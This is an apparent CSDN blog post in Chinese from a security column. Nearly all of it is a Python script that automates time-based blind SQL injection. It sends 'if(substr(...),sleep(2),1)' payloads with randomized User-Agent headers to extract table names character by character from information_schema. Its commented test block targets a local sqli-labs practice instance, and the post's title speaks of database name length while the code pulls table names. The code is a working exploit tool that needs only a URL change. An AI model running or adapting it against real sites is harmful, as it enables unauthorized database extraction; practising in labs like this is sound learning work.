SQL注入代码实践（盲注-获取数据库名长度【数字型】）

最新推荐文章于 2024-05-19 17:03:37 发布

保证四个小时充足睡眠

最新推荐文章于 2024-05-19 17:03:37 发布

阅读量422

点赞数

分类专栏：网络安全文章标签：数据库 sql python

本文链接：https://blog.csdn.net/DMHY123/article/details/126443074

版权

网络安全专栏收录该内容

9 篇文章 0 订阅

订阅专栏

# -*- coding: utf-8 -*-
"""
@Time ： 2022/4/4 16:20
@Auth ： zhangxiang
@File ：BlindInject_NumTable.py
@IDE ：PyCharm
@Motto：ABC(Always Be Coding)

"""
from urllib import request
from urllib import parse
import re
import time
import sys
import random
from ua_info import ua_list
from GetTableLength_Num import GetTableLength_Num


class BlindInject_NumTable:
    def __init__(self):
        pass
    def StartInject_NumTable(self,url,code,resultList,databasesName,numTable):
        flag=0
        #%20and%20if(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,1)=%27e%27,sleep(5),1)
        for num in range(0, numTable+1):

            url = url
            judgeStr = "%20and%20if(substr((select%20group_concat(table_name)%20from%20information_schema.tables" \
                       "%20where%20table_schema=%27security%27),changeNum,1)=%27replaceStr%27,sleep(2),1)"
            submitStr = "&submit=0x5375626D6974%23"
            pattern1 = r"changeNum"
            replace1 = str(num)
            FisWord = re.sub(pattern1, replace1, judgeStr)

            for x in code:
                Str = x
                word = FisWord + submitStr
                # 正则
                pattern2 = r"replaceStr"
                replace2 = Str
                SeWord = re.sub(pattern2, replace2, word)
                full_url = url + SeWord
                # print(full_url)
                # 2.发请求保存到本地
                headers = {'User-Agent':random.choice(ua_list)}
                startTime = time.time()
                req = request.Request(url=full_url, headers=headers)
                res = request.urlopen(req)

                endTime = time.time()
                allTime = endTime - startTime
                # print(allTime)
                if (resultList[flag] == "None"):
                    print("注入结束")
                    return resultList

                if (allTime > 2):
                    print("*" * 200)
                    resultList.append(x)
                    print("得到盲注结果:" + str(resultList))
                    print("注入的payload：" + full_url)
                    print("使用的时间：" + str(allTime))
                    print("*" * 200)
                    flag = flag+1


                else:
                    pass

        return resultList
    def getStr(self,resultList):  # 将列表值转为字符串
                    resultList.pop(0)
                    list2 = [str(i) for i in resultList]
                    strList = ''.join(list2)
                    return strList




# if __name__ == '__main__':
#     blindInject_NumTable = BlindInject_NumTable()
#     getTableLength_Num = GetTableLength_Num()
#
#     databasesName = "security"
#     resultList = ["开始"]
#     path = './code2.txt'
#     url = "http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-2/?id=1"
#     f = open(path, 'r', encoding='utf-8')
#     code = f.read()
#     print(resultList[0])
#     print("注入中，请稍等：")
#     numTable = getTableLength_Num.StartGetTableLength_Num(url, databasesName)
#     print("该数据库中的表名长度为：" + str(numTable))
#     resultList = blindInject_NumTable.StartInject_NumTable(url,code,resultList,databasesName,numTable)
#     strList = blindInject_NumTable.getStr(resultList)
#     print("该数据库中的表名有："+strList)